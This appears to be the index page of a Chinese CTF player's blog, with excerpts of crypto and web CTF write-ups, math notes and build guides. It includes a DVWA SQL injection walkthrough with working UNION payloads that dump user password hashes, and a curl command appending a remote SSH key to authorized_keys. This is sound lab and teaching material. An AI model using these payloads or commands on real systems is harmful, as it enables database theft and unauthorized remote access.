Zoee

AI Agent 之我见

Tue, 07 Apr 2026 00:00:00 +0000

Vibe Writing — 这篇文章由我和 Claude Opus 协作完成。我提供方向、判断和素材选择，Claude 做源码分析、资料检索和初稿生成。

我是 Kimi CLI 的社区贡献者，日常工作跟 Coding Agent 打交道比较多。最近花了些时间把 Claude Code、OpenAI Codex、Bub、Pi 四个项目的源码翻了一遍，顺便看了 pi-context 这个 Pi 的上下文管理插件。这篇是过程中记下来的东西，按"我觉得有意思"排序。

SSH Public Key

Sun, 08 Mar 2026 00:40:00 +0800

这里放当前可用于加入 authorized_keys 的 SSH 公钥。

Raw URL

Raw URL: https://i.cauchy.top/keys/id_25519_akdk.pub
Fingerprint: SHA256:F2BIJYZlOwsImHLKl7tcmDyESkT/IUo8XnkTL1d27xw

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOkNHm/JN7O+ZjbeZbXma0XLcYTf+mrURpOoXBYdZZMW akdk@akdk.com

1

curl -fsSL https://i.cauchy.top/keys/id_25519_akdk.pub

1

curl -fsSL https://i.cauchy.top/keys/id_25519_akdk.pub >> ~/.ssh/authorized_keys

AliCTF 2026 Web - next-challenge · React2Shell 机制梳理

Thu, 05 Feb 2026 00:00:00 +0000

SUBGROUPX

Repo: https://github.com/n-WN/SubgroupX

日期: 2026-02-05
环境: http://223.6.249.127:28433
技术栈: Node.js v20.19.6 alpine x64, Next.js 16.0.6 dev, React 19.2.0
题目类型: Web, 500 pts

结论

通过 React Flight 反序列化触发 server reference，加上 Hello() 的模板字符串 toString sink，实现了不依赖 constructor/__proto__/prototype 的 RCE，最终读取 flag:

AliCTF 2026 Crypto - Griffin

Wed, 04 Feb 2026 00:00:00 +0000

SUBGROUPX

Repo: https://github.com/n-WN/SubgroupX

Griffin 这题的关键是 Phase1 恢复的 $x$ 存在仿射不确定性，导致 Phase2 求根得到的是 $x = a m + b$ 而不是 $m$，需要对 $(a,b)$ 做 affine 枚举。

结论

flag: alictf{**}
关键坑点: Phase1 恢复的 $x$ 存在仿射不确定性，导致 Phase2 求根得到的是 $x = a m + b$ 而非 $m$，必须做 affine 枚举，最终命中 $(a,b)=(-1,256)$

Full solve code (gist)

复现参数

以下数值来自一次成功复现的检查点和附件内容:

AliCTF 2026 线上赛 Web - staircase

Tue, 03 Feb 2026 00:00:00 +0000

SUBGROUPX

Repo: https://github.com/n-WN/SubgroupX

这题最终落地利用点是 MapDB 的 linked record：把 payload 分散种在多段 icon 记录里，再通过极少量元数据 patch 把 “icon” 指向链表头，最后 GET /files/icon 触发 Serializer.JAVA 反序列化完成 RCE。

题目信息

题目：staircase
分值：500
目标：拿到 flag{...}（flag 文件位于容器根目录 /flag-<random>.txt）
远程：题面端口会变更，需要以最新为准（本文最终打通的是 tcp *.*.*.*:*，HTTP 服务）
hint：
1. 远程环境不出网
2. MapDB 支持“链表式”记录（linked record）存储/读取，用于巨型记录

最终结论本地已打通

本题最终落地利用链不再依赖“用受限写原语合成任意字节串”，而是：

N1CTF Junior 2026 1/2

Tue, 27 Jan 2026 00:00:00 +0000

SUBGROUPX

Repo: https://github.com/n-WN/SubgroupX

解了几道分数较高的题目，部署后继续修复公式渲染（theme/模板问题）。

AstralCat

服务端每轮随机 99 字节 message，用 Luo Shu 做 CBC。关键点是同一个对象连续调用两次 Encrypt()，第二次加密的输入其实是第一次的密文。

XCTF Lilac 2026 Writeup

Mon, 26 Jan 2026 00:00:00 +0000

SUBGROUPX

Repo: https://github.com/n-WN/SubgroupX

整理版汇总：按仓库内文档与脚本串主线，每题只保留关键思路和 exp 核心片段（截图已脱敏）。

整理说明本文按仓库内文档与脚本整理，每题只保留解题主线与 exp 核心片段。文中用 HOST:PORT 代替真实地址，flag 统一写为 LilacCTF{...}，不包含外链 URL 与真实 IP。

XCTF Lilac - launchpad

Sat, 24 Jan 2026 00:00:00 +0000

SUBGROUPX

Repo: https://github.com/n-WN/SubgroupX

XCTF Lilac 的 Solana/Anchor misc。核心是 ClaimRequest 与 Faucet 绑定关系校验缺失，并结合 no_pda=true 的绕过手法，最终一次性把 vault 清空。

题目附件：/_p/67efe178c3919b1ea379da0869983aa081d7769aaac76d1a073926a489beca49.tar.gz

题目信息

类型：Solana / Anchor（misc）
远程：1.95.144.176:9990
交互：PoW → 上传 solve.so → 提交 Vec<Instruction>（服务端只用 user 一把私钥签名交易）
目标：让 ATA(global_pda, fee_mint)（同时也是 faucet vault）余额变成 0，服务端打印 flag

这题本质是一个 “ClaimRequest 与 Faucet 绑定关系校验缺失” 的逻辑漏洞：程序只验证 ClaimRequest 的 PDA 是正确的，但没有验证 ClaimRequest 属于当前正在处理的 faucet，导致可以用“别的 faucet 的 ClaimRequest”去领“当前 faucet 的钱”。

HDR 图片测试

Wed, 21 Jan 2026 00:00:00 +0800

这页用来确认 HDR 图片在博客上能“正常显示”（不支持 HDR 的设备/浏览器至少要能显示 SDR；支持 HDR 的情况下应有更亮的高光与更丰富的层次）。

Ultra HDR（JPEG + Gain Map）

下面三张是 Ultra HDR 的 JPG：在不支持 Ultra HDR 的环境下它们会以普通 JPG（SDR）显示；在支持 Ultra HDR 的环境下会显示 HDR（通常在手机/部分浏览器上更明显）。

年度总结 - 2025

Tue, 20 Jan 2026 00:00:00 +0000

自从接触到工作，记忆节点似乎就由工作为 key，其余为 value，所以本篇 blog 的时间线基本都是由工作发散的

XCTF Final 2025 部分题解

Thu, 30 Oct 2025 11:09:06 +0000

一直懒得整理（

macOS (Apple Silicon) 环境下 Python C 扩展包的编译与使用排错指南

Thu, 25 Sep 2025 13:43:14 +0000

技术文档：macOS (Apple Silicon) 环境下 Python C 扩展包的编译与使用排错指南

摘要

本文档记录了在 macOS M系列芯片（Apple Silicon）环境下，安装和使用一个需要C语言扩展的Python包 (gf2bv) 时遇到的两个典型问题及其解决方案。这为处理类似问题的开发者提供了一个清晰的排错思路和操作指南。

片段

Mon, 15 Sep 2025 18:37:08 +0000

Coppersmith

总结思路（逐步推理）和为什么 `getFullP` 里用多项式 `P - N`

为什么把多项式构造成 p(x) - n

一、从已知条件出发的代数关系（推导低位 p 的来源）

已知：RSA 参数 $n=pq$、公钥指数 $e=3$、私钥 $d$ 满足

$$ 3d \equiv 1 \pmod{\varphi(n)}. $$

所以存在整数 $k$ 使得

mod n -> mod p

Fri, 05 Sep 2025 21:58:49 +0000

设 $\mathbb{Z}$ 为整数集。

前提:

$c, m, e, n, p, q, r \in \mathbb{Z}$
$n = pqr$
$c \equiv m^e \pmod n$

推导:

由前提 3 及同余的定义可知： $n | (c - m^e)$
这意味着存在某个整数 $k$，使得： $c - m^e = k \cdot n$
将前提 2 代入上式： $c - m^e = k \cdot (pqr)$
重新组合等式右边： $c - m^e = (kqr) \cdot p$
令 $k' = kqr$。因为 $k, q, r \in \mathbb{Z}$，所以 $k' \in \mathbb{Z}$。 $c - m^e = k' \cdot p$
根据整除的定义，上式意味着： $p | (c - m^e)$
再次根据同余的定义，可得： $c \equiv m^e \pmod p$

结论: $c \equiv m^e \pmod n \implies c \equiv m^e \pmod p$

GB/T 38636-2020: 传输层密码协议 (TLCP) 技术规范分析

Wed, 30 Jul 2025 14:05:07 +0000

Reference

GB/T 38636-2020: 传输层密码协议 (TLCP) 技术规范分析

1. 范围与目的

本标准定义了传输层密码协议 (Transport Layer Cryptography Protocol, TLCP)，旨在为网络中两个对等实体间的通信提供机密性 (Confidentiality)、完整性 (Integrity) 和身份认证 (Authentication)。其核心是定义了一个记录层协议和一个握手协议族，并规定了其所依赖的密码学原语和密钥计算方法。

为 small_roots() 设置超时

Tue, 29 Jul 2025 00:22:57 +0000

在做 small_roots() 时，偶尔需要爆破一些位，这时如果格密度够大，那爆破起来很慢

我们可以为其设计超时，下面是代码

超时值的选择：构造一些恰好在界周围的参数，记录其求解的平均和最大时间，确保不会漏掉正确答案

从矩阵求解到深入 Sage 引擎内核

Mon, 28 Jul 2025 23:49:58 +0000

AI 创作说明：本文基于 AI 辅助修改和润色，如果您对 AI 生成内容有不适感，请及时退出。

SageMath 解题思路进阶：从矩阵求解到深入引擎内核

前言：我们想解决什么问题？

在我们的编程和数学旅程中，求解方程组是一项常见的任务，例如：

SageMath 进阶技巧（续）：利用 flag 参数探索解空间

Mon, 28 Jul 2025 23:40:50 +0000

AI 创作说明：本文基于 AI 辅助修改和润色，如果您对 AI 生成内容有不适感，请及时退出。

SageMath 进阶技巧（续）：利用 `flag` 参数探索解空间

前言

在之前的探讨中，我们分析了在 SageMath 中求解模线性方程组的三种核心策略：

解模线性方程组：从龟速到光速的 SageMath 之旅

Mon, 28 Jul 2025 23:18:44 +0000

AI 创作说明：本文基于 AI 辅助修改和润色，如果您对 AI 生成内容有不适感，请及时退出。

SageMath 中模线性方程组的求解策略与性能比较

前言

在计算数学领域，求解方程组是一项基础而核心的任务。当这一任务被置于模算术（Modular Arithmetic）的框架下时，问题会呈现出新的特点与挑战。SageMath 作为一个综合性的开源数学软件，为此类问题提供了多种求解路径。然而，不同的实现路径在算法原理和计算性能上存在显著差异。

Golang Cgo Metal (sm3)

Mon, 21 Jul 2025 04:53:18 +0000

周末打了场比赛( 刷到 adwa的blog )，这道题需要爆破 $2^{32}$ bit 并调用一些函数验证，据上面 adwa 博客说 python 300h，go 并发 8min （我自己的 M1 Pro 需要15分钟）我自己对 Go 的极致（大概吧）优化不到五分钟（优化点包括但不限于：防止 gc、手动 make、将 sm3 的库中代码优化（你还能有库牛逼?.jpg）、大小核优化：大核心负责爆破的核心运算，小核心负责任务调度），

Windows 下 sing-box tun 全局代理配置踩坑记

Sat, 12 Jul 2025 02:29:01 +0000

背景

最近在 Windows 系统上配置 sing-box 的 tun 模式全局代理时，遇到了一个典型的"虚拟网卡冲突"问题。经过一番折腾，最终发现问题的根源和解决方案。记录下这个过程，希望能帮助遇到类似问题的朋友。

rust_socks 流量转发

Thu, 10 Jul 2025 18:16:29 +0000

在分享网络时，某些代理客户端限制了只能暴露在 127.0.0.1 (设置为 0.0.0.0 也不行，大概率是bug)

于是就有了下面这个 rust 流量转发程序，程序利用 tokio （优秀的异步运行时框架），将本地（localhost） 7890 暴露到（0.0.0.0） 7891，方便外部畅享网络

格密码基础知识

Tue, 08 Jul 2025 12:02:52 +0000

格密码1.1 格

本笔记来自于本人对网上各种关于格密码内容的整理，可能涉及直接复制他人文章的图文内容，证明他写得好。

本专栏将不可避免的产生：

致命笔误
直接复制
不懂装懂
懒得排版
证明显然
逻辑混乱
中式翻译

格的定义

格（Lattice），lattice是晶格的格，而非表格的格，前者更倾向于格状结构的“点”。

编译 Apache Doris

Tue, 27 May 2025 23:27:24 +0000

假设你有一定计算机基础

如果你是 WSL

1
2
3


[wsl2]
memory=20GB # 设置最大内存
swap=10GB # 推荐swap为内存的50%

开始准备工作

1
2
3
4


ban@DESKTOP-ES3ISPK ~/p/doris (master) [1]> uname -a
Linux DESKTOP-ES3ISPK 5.15.167.4-microsoft-standard-WSL2 #1 SMP Tue Nov 5 00:21:55 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
ban@DESKTOP-ES3ISPK ~/p/doris (master)> lsb_release 
No LSB modules are available.

1
2
3


git clone --depth 1 https://github.com/apache/doris.git 

cd doris/

截止写文章时，得知流水线为 clang 16，尽可能本地与流水线保持一致

[AtCoder] ABC_147_C 来自 Gemini 的教学

Sun, 25 May 2025 02:31:52 +0000

ABC_147_C

哈，算法萌新你好呀！这道 AtCoder 的密码题确实有点意思，就像一个需要耐心和智慧的小游戏。别担心，我们会一步一步拆解它，从最开始的懵懂想法，到找到巧妙的解法，再到把它打磨得更快，就像升级打怪一样！准备好了吗？我们开始探险吧！

[趣题记录] GCD Sum

Tue, 13 May 2025 00:57:07 +0000

好友磊哥出了一道数学题，题面是这样的

我们需要高效计算：

$$ G(N) = \sum_{j=1}^N \sum_{i=1}^j \gcd(i,j) \mod 998244353 $$

其中 $N \leq 10^{11}$

已知 $G(10) = 122$

思路

我们不难写出暴力

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


def gcd(i, j):
 while j:
 i, j = j, i % j
 return i

def calculate_G(N, mod):
 result = 0
 for j in range(1, N + 1):
 for i in range(1, j + 1):
 result += gcd(i, j)
 result %= mod
 return result

N = 10
mod = 998244353

result = calculate_G(N, mod)
print(result)

但这还是太慢了，问问磊哥怎么说

一些使用AI的小经验

Mon, 12 May 2025 23:24:46 +0000

需要删除所有注释（AI写的注释还是太细致入微了）

1

\/\/.*

或者

1

//.*?(?=\n|$)

会匹配到 URL，那么如何使其不匹配到 URL 呢？

如果我们思路是向前检测是否存在 HTTP(S) 那么你会发现还有别的协议

SSRF - 服务端请求伪造 - 题目集

Tue, 04 Mar 2025 22:57:10 +0000

收集了一些适合讲解与训练的题目对网上师傅的 WP 做了一些小修改，如有侵权联系我删除

SSRF

关键点：信息收集 (内网扫描等)

理解：一层 NAT/JumpServer/Proxy

视频资料：https://www.bilibili.com/video/BV11N4y147nX

CSP - 内容安全策略 - 注意事项

Mon, 03 Mar 2025 20:24:51 +0000

基础事项

WASM 需要使用 wasm-unsafe-eva (属于 script-src 的子属性)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


<!DOCTYPE html>
<html lang="en">

<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>CSP with SHA-256 Example</title>
 <!-- Content Security Policy (CSP) -->
 <meta http-equiv="Content-Security-Policy"
 content="script-src 'sha256-2XA6OeWgx7rumjOswMWkHzvY7xYWT9JsRykQhkmJXi0';">
</head>

<body>
 <h1>CSP with SHA-256 Example</h1>
 <p>Check the console for output.</p>

<!-- Inline Script with SHA-256 Hash -->
<script>const inline = 1;</script> 
<!-- hash: 'sha256-2XA6OeWgx7rumjOswMWkHzvY7xYWT9JsRykQhkmJXi0=' -->
<!-- 注意事项 -->
<!-- When generating the hash, don't include the <script> tags and note that capitalization and whitespace matter, including leading or trailing whitespace.
 引用自 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#examples -->
<!-- 注释也会影响生成的 hash -->
</body>

</html>

Nginx

对默认配置添加 CSP 头以及修改根目录

DVWA SQL injection

Tue, 25 Feb 2025 23:11:47 +0000

Low

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
 // Get input
 $id = $_REQUEST[ 'id' ];
 // 没有过滤就直接带入 SQL 语句中 使用单引号闭合
 // !!! 漏洞点 !!!
 // 没有对 $id 进行任何过滤或转义，就直接拼接到 SQL 查询语句中
 // 这使得攻击者可以通过构造恶意的 $id 值来执行 SQL 注入攻击
 // 攻击者可以利用单引号 (') 来闭合 SQL 语句中的单引号，然后注入恶意的 SQL 代码
 // Check database
 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

 // Get results
 // 使用 mysqli_fetch_assoc 函数从结果集中获取一行数据，并将其作为关联数组返回
 while( $row = mysqli_fetch_assoc( $result ) ) {
 // 回显信息
 // Get values
 // 从关联数组中获取 'first_name' 和 'last_name' 的值
 $first = $row["first_name"];
 $last = $row["last_name"];

 // Feedback for end user
 // 向用户显示查询结果
 // 使用 <pre> 标签可以保留 HTML 代码中的空格和换行符，使输出更易于阅读。
 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
 }
 
 // 关闭数据库连接
 mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

思路

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121


1.

判断字段数 - 使用 order by 语句

1' or 1=1 order by 1 #

临界报错即可判断字段数 (临界 - 1)

2.

确定显示的字段顺序

会进行多个查询
UNION 用于将两个或多个SELECT语句的结果合并为一个结果集
要使用UNION, 两个SELECT语句必须具有相同的列数, 而且列的数据类型必须兼容
UNION操作会将两个结果集的列对齐, 对应的位置会被映射到相同的字段上

1' union select 1,2 #

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
SELECT first_name, last_name FROM users WHERE user_id = '1' union select 1,2 #';

3.

获取数据库名

1' union select 1,database() #

回显信息

ID: 1' union select 1,database() #
First name: admin
Surname: admin
ID: 1' union select 1,database() #
First name: 1
Surname: dvwa

4.

获取数据库中的表

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

回显信息

ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
First name: 1
Surname: users,guestbook

5.

获取字段名

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.

获取字段内容

其一

1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #

使用UNION操作
把两个SELECT语句的结果合并
第一个SELECT只是一个简单的1
而第二个SELECT使用了GROUP_CONCAT函数
将多个字段的值用冒号分隔
拼接成一个字符串, 回显的结果显示, 所有用户的信息都被拼接在一起
包括user_id、first_name、last_name等等
每个字段之间用冒号分隔, 多个用户之间用逗号分隔

GROUP_CONCAT 字符串拼接
前面的 1 用于匹配列数, 确保查询顺利执行

In [2]: chr(0x3a)
Out[2]: ':'

回显

ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(user_id,0x3a,first_name,0x3a,last_name,0x3a,user,0x3a,password,0x3a,avatar,0x3a,last_login,0x3a,failed_login) from users #
First name: 1
Surname: 1:admin:admin:admin:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/admin.jpg:2025-02-20 11:55:33:0,2:Gordon:Brown:gordonb:e99a18c428cb38d5f260853678922e03:/hackable/users/gordonb.jpg:2025-02-20 11:55:33:0,3:Hack:Me:1337:8d3533d75ae2c3966d7e0d4fcc69216b:/hackable/users/1337.jpg:2025-02-20 11:55:33:0,4:Pablo:Picasso:pablo:0d107d09f5bbe40cade3de5c71e9e9b7:/hackable/users/pablo.jpg:2025-02-20 11:55:33:0,5:Bob:Smith:smithy:5f4dcc3b5aa765d61d8327deb882cf99:/hackable/users/smithy.jpg:2025-02-20 11:55:33:0

其二

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

回显

ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: admin
Surname: admin
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Gordon
Surname: Brown
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Hack
Surname: Me
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Pablo
Surname: Picasso
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: Bob
Surname: Smith
ID: 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

Mid

题目源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55


<?php

// 检查是否通过 POST 请求提交了名为 'Submit' 的参数。
if( isset( $_POST[ 'Submit' ] ) ) {
 // 获取名为 'id' 的 POST 请求参数的值。
 $id = $_POST[ 'id' ];

 // 使用 mysqli_real_escape_string 函数对 $id 进行转义。
 // mysqli_real_escape_string 函数用于转义字符串中的特殊字符，
 // 例如单引号 (')、双引号 (")、反斜杠 (\) 和 NULL 字符。
 // 这可以防止 SQL 注入攻击。
 // $GLOBALS["___mysqli_ston"] 是数据库连接资源。
 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

 // 构建 SQL 查询语句，从名为 'users' 的表中选择 'first_name' 和 'last_name' 列，
 // 条件是 'user_id' 等于转义后的 $id 值。
 // !!! 注意 !!! 虽然使用了 mysqli_real_escape_string，但仍然存在整数型 SQL 注入的风险。
 // 如果 $id 期望的是一个整数，并且没有进行类型检查，攻击者可以输入类似 "1 OR 1=1" 的值，
 // 从而绕过 user_id 的限制，获取所有用户的信息。
 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
 // 使用 mysqli_query 函数执行 SQL 查询。
 // $GLOBALS["___mysqli_ston"] 是数据库连接资源。
 // 如果查询失败，则使用 die 函数输出错误信息。
 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

 // 获取查询结果
 // 使用 mysqli_fetch_assoc 函数从结果集中获取一行数据，并将其作为关联数组返回。
 // 循环遍历结果集中的每一行。
 while( $row = mysqli_fetch_assoc( $result ) ) {
 // 从关联数组中获取 'first_name' 和 'last_name' 的值。
 $first = $row["first_name"];
 $last = $row["last_name"];

 // 向用户显示查询结果。
 // 使用 <pre> 标签可以保留 HTML 代码中的空格和换行符，使输出更易于阅读。
 echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
 }

}

// 这段代码在 index.php 页面中稍后会被使用
// 在这里设置是为了像其他脚本一样，可以在这里关闭数据库连接
// 构建 SQL 查询语句，从名为 'users' 的表中选择所有行的数量。
$query = "SELECT COUNT(*) FROM users;";
// 使用 mysqli_query 函数执行 SQL 查询。
// $GLOBALS["___mysqli_ston"] 是数据库连接资源。
// 如果查询失败，则使用 die 函数输出错误信息。
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 使用 mysqli_fetch_row 函数从结果集中获取一行数据，并将其作为索引数组返回。
// 获取索引为 0 的元素，该元素包含用户数量。
$number_of_rows = mysqli_fetch_row( $result )[0];

// 关闭数据库连接。
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

思路

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


虽然前端使用了下拉选择菜单，但我们依然可以通过抓包改参数，提交恶意构造的查询参数

1

判断注入类型

这里我们其实可以直接做出判断
审计代码发现mysqli_real_escape_string()函数的存在
那么字符型注入肯定会遇到问题
我们直接进行数字型注入

因为前端使用下拉菜单，所以我们得通过抓包修改参数。

2.

猜测字段数 确定回显字段顺序 获取当前数据库 获取数据库中的表

这四部分操作与Low级别差别不大 这里只附上相关语句

1 order by 3 #

1 union select 1,2 #

1 union select 1,database() #

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

3. 

获取表中字段名

1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

4.

我们按照原来的思路构建了语句，但是发生了错误，是因为单引号被转义，所以我们利用十六进制绕过

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

如果用 Yakit 的动态渲染, 需要给生成的内容前加上 `0x`

5.

获取数据

1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

final

id=-1 union select 1,(SELECT GROUP_CONCAT(user,password SEPARATOR 0x3c62723e) FROM users)&Submit=Submit

也可以使用 python 完成第 4 步

niteCTF 2024 团队 WriteUp

Tue, 17 Dec 2024 11:15:24 +0000

With 正规子群 (Triode, adwa, Ov3)

Crypto

RSAabc

题目

Cryptonite-MIT/niteCTF-2024

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48



from Crypto.Util.number import *
from output import ns, cts

c = "mrgπeτfΟΔςoΝeηiδyegsλexlwVαehιΠπμZe"

def reverse_alphabet(char):
 if char == "e":
 return "_"
 elif char in string.ascii_uppercase:
 return chr(155 - ord(char))
 elif char in string.ascii_lowercase:
 return chr(219 - ord(char))
 else:
 return "?"

def fac(n):
 for p in range(2, 2**26):
 if n % p == 0:
 q = n // p
 break
 return p, q

def googly(number, position):
 mask = 1 << position
 return number ^ mask

def RSA_de(c, e, p, q):
 d = inverse(e, (p - 1) * (q - 1))
 return long_to_bytes(pow(c, d, p * q))

e = 65537
t = ""
for i in c:
 t += reverse_alphabet(i)
print(t)
message = ""
for i in range(len(t)):
 if t[i] == "?":
 p, q = fac(ns[i])
 ct = cts[i]
 for j in range(ct.bit_length()):
 m = RSA_de(googly(ct, j), e, p, q)
 if len(m) == 1:
 message += m.decode()
 else:
 message += t[i]
 print(message)

R Stands Alone

加密代码：

ARM Release

Mon, 16 Dec 2024 16:27:08 +0000

yafu

大数分解

https://github.com/bbuhrow/yafu/issues/12

yafu 调用了其作者自己写的 ytools.h, 这个库有很多 Linux/Windows platform 基础工具的宏实现, 无法运行在 macOS 上, 于是暂且搁置, 需要用就 docker run

1

docker run -it ssst0n3/yafu:2.10

其实有 ARM 的非官方实现: https://github.com/keens312/yafu_arm

SageMath 和 gmpy2 精度的探究

Mon, 16 Dec 2024 16:00:45 +0000

起因

正规子群的群友发了一道二分, 如下, 让转为 SageMath Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


import math
from gmpy2 import next_prime, sin, cos, mpz

left = 2**63
right = 2**64
n = mpz(
 13226258685595630160447827442153267599814292160977306459359416297020102688049793771120158029953432640539514974565723831126909317859357612109049397896863392224521508922404189962829783829182814282953169
)
while left <= right:
 k = (left + right) // 2
 p = (
 2023 * k**5
 + 2022 * k**4
 - 2023 * k**3
 - 2021 * k**2
 + 2020 * k
 + 2019
 + int(k**3 * sin(k + 2023))
 - int(k**3 * cos(k**2 - 2023))
 + int(math.e ** (23) * k)
 )
 q = (
 2023 * k**5
 - 2022 * k**4
 + 2023 * k**3
 - 2021 * k**2
 + 2020 * k
 - 2019
 - int(k**2 * sin(k * 2023))
 + int(k**2 * cos(k**2 * 2023))
 + int(math.e ** (23) * k**2)
 )
 p = next_prime(p)
 q = next_prime(q)
 if p * q < n:
 left = k + 1
 elif p * q > n:
 right = k - 1
 else:
 # time < 0.1s
 print("k =", k) # k = 17821511070084697841
 break

简单替换导入函数后发现并不符合预期

18届全国大学生信息安全竞赛&长城杯部分WriteUp

Sun, 15 Dec 2024 22:08:20 +0000

Crypto

rasnd

Part1

关键代码为

1
2
3
4
5
6


x1=randint(0,2**11)
y1=randint(0,2**114)
x2=randint(0,2**11)
y2=randint(0,2**514)
hint1=x1*p+y1*q-0x114
hint2=x2*p+y2*q-0x514

首先给等式两边加上没有意义的恶臭数字

变为以下两个线性方程:

$$ \begin{cases} h_1 = x_1 \cdot p + y_1 \cdot q \\ h_2 = x_2 \cdot p + y_2 \cdot q \\ \end{cases} $$

其中:

正规子群史册

Sat, 14 Dec 2024 03:39:25 +0000

2024 11

正规子群第一次比赛就夺得金融密码杯挑战赛道二等奖

在那期间，鹏程杯无人上线导致约等于爆0

2024 12

niteCTF 2024

明明是一只密码小队，却由三极管拿下 niteCTF 2024 misc4 三血，有🍞的身影

Solves

Challenge	Category	Value	Time
Quadrillion Matrices	Cryptography	334	December 14th, 8:57:06 PM
La Casa de Papel	Cryptography	50	December 14th, 3:48:47 PM
Mumbo Dumbo	Artificial Intelligence	50	December 14th, 2:12:03 AM
und3rC0VEr	Miscellaneous	264	December 14th, 1:49:22 AM
R Stands Alone	Cryptography	77	December 14th, 12:45:39 AM
RSAabc	Cryptography	50	December 13th, 11:27:56 PM
Warmup	Miscellaneous	10	December 13th, 11:05:37 PM

同时还有一位 AK 了密码的歪果仁, 在比赛后也加入了我们~

我改名了

Fri, 13 Dec 2024 02:38:30 +0000

fplll 重载虚函数，导致 clang make 出错的解决方案

Fri, 13 Dec 2024 01:57:31 +0000

事发

OS: macOS 14.7

在 sage 之外编译 flatter

1

